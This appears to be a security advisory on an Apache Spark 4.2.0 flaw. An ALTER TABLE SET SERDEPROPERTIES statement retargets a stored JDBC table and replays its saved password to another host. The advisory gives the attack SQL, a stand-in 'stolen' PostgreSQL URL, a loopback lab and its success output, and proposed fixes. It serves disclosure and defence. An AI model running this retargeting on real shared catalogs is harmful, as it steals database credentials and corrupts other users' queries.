
Apache Spark 4.2.0 - High - Remote - JDBC URL injection - ALTER TABLE SET SERDEPROPERTIES
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · spark-jdbc-serde-url
Class: JDBC URL injection Reach: Remote
Apache Spark 4.2.0 (32f72996) - Apache Software Foundation
SPARK-31710 stopped scan-time extra options from overriding a stored JDBC url. ALTER TABLE SET SERDEPROPERTIES still merges into storage.properties, which is the JDBC scan option map. Stored user / password are not Spark JDBC option names, so they ride to the new URL.
A shared-catalog SQL user can retarget an operator-provisioned USING jdbc table and replay the stored database password to a host they choose.
| ID | no CVE yet |
| Class | JDBC URL injection / stored-credential reuse (leftover of SPARK-31710) |
| Reach | Remote (Connect or Hive Thrift SQL on a shared catalog) |
| CWE | CWE-15, CWE-522 |
| CVSS | High: 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N |
| Product | Apache Spark |
| Affected | 4.2.0 (32f7299601108917fb01920a54e084595b7b3bf8) SQL v1 JDBC tables |
| Auth | shared-catalog SQL user (not a job-submit jar) |
| License | GNU Affero GPL v3.0 |
| Lab | 127.0.0.1:18960 only |
A Connect gRPC SQL session or Hive Thrift SQL session on a shared externalCatalog that already has a persistent USING jdbc table with stored credentials. Not a job submitter. Not the session that named the original URL.
| Method | Sink | Privilege |
|---|---|---|
ALTER TABLE t SET SERDEPROPERTIES ('url' = '<attacker-jdbc>') then REFRESH TABLE t / SELECT | storage.properties ++ serdeProperties then JDBC Driver.connect(url, properties) | Integrity: retarget the provisioned table to an attacker listener. Lab-proven (connect=yes). Confidentiality: replay stored DB user / password on the PostgreSQL startup and cleartext auth. Lab-proven (user-replay=true password-replay=true). Recon of the secret via SHOW CREATE is closed (redacted). |
Same persist, later tenant SELECT on t | shared catalog row | Integrity, inferred: other sessions' queries against t now hit the new URL (wrong DB, attacker-controlled rows). Availability, inferred: original DB is unreachable until an admin resets serde. Out of bar for DoS. |
Additional serde keys (sessionInitStatement, prepareQuery, driver) | scan options on leftover user / password | Integrity, inferred: extra statements or a classpath Driver no-arg ctor. Do not inflate to RCE without a default-classpath gadget. Not exercised. |
ALTER TABLE SET TBLPROPERTIES | CatalogTable.properties only | Closed for this walk. Lab-proven (storage url unchanged, no oracle hit). |
Scan-time extra option url clash | SPARK-31710 generateDatasourceOptions | Closed. Lab-proven (extra-options-clash refused). |
spark.read.format("jdbc").option("url", ...) named by the same session | intended data-plane | DROP. Owner-controlled URL is not this leftover. |
SET SERDE '<class>' on a datasource table | class name | Closed (UNSUPPORTED_FEATURE.ALTER_TABLE_SERDE_FOR_DATASOURCE_TABLE). Not exercised. |
Adjacent closed: session-named JDBC / file paths. spark.sql.legacy.extraOptionsBehavior clash check. OSS Spark has no Unity externalOptionsAllowList. CREATE TABLE URL is owner-controlled (not this leftover). JDBC URL log redaction is unconditional. File-table path lives in locationUri. JDBCTableCatalog connections come from session catalog conf (same data-plane as choosing a URL). Single-user pyspark with no shared catalog is out of model.
I pinned Spark 4.2.0, not master and not a 4.3 RC. Job submit on an open cluster is by design. The interesting leftovers sit next to named fixes. SPARK-31710 / generateDatasourceOptions refuses a different scan-time url for an existing serde key. SET TBLPROPERTIES writes table.properties only. Datasource tables still allow SET SERDEPROPERTIES and merge into storage.properties (++, later keys win). user and password never enter jdbcOptionNames, so asConnectionProperties hands them to Driver.connect.
properties = table.storage.properties ++ serdeProperties.getOrElse(Map())
driver.connect(jdbcOptions.url, properties)
SHOW CREATE redacts password. The SQL user cannot read the secret back. They can still ride it.
Wrong turns already recorded: treating CREATE TABLE url as the bug; filing extra-options clash again; expecting SET TBLPROPERTIES to move storage; claiming SHOW CREATE leaks the password; running a full cluster when the cited Scala is a gadget; a reverse shell. The oracle is a PostgreSQL startup plus cleartext auth on loopback.
cd lab
./run.sh
Loopback 127.0.0.1:18960 is a PostgreSQL protocol listener. HTTP health is 127.0.0.1:18961. The gadget container is Temurin 21 plus libpostgresql-jdbc-java. Stored URL is jdbc:postgresql://127.0.0.1:1/provisioned (connection refused). Attack URL is jdbc:postgresql://oracle:18960/stolen. Stored user spark_jdbc. Stored password stored-secret-SPARK-JDBC-SERDE-URL. Bind it to loopback.
SUCCESS SPARK-JDBC-SERDE-URL connect=yes user-replay=true password-replay=true SPARK-JDBC-SERDE-URL-WITNESS
Refuse SET SERDEPROPERTIES keys that clash with stored JDBC url / user / password, the same check generateDatasourceOptions already runs for scan-time extras. Or drop stored user / password when url changes. Or treat datasource JDBC serde as table properties, not storage. Until then, do not grant untrusted SQL ALTER TABLE on a persistent USING jdbc table that stores a password.
32f7299601108917fb01920a54e084595b7b3bf8)ddl.scala AlterTableSerDePropertiesCommandDataSource.scala buildStorageFormatFromOptionsDataSourceUtils.scala generateDatasourceOptionsBasicConnectionProvider.scalaJDBCOptions.scala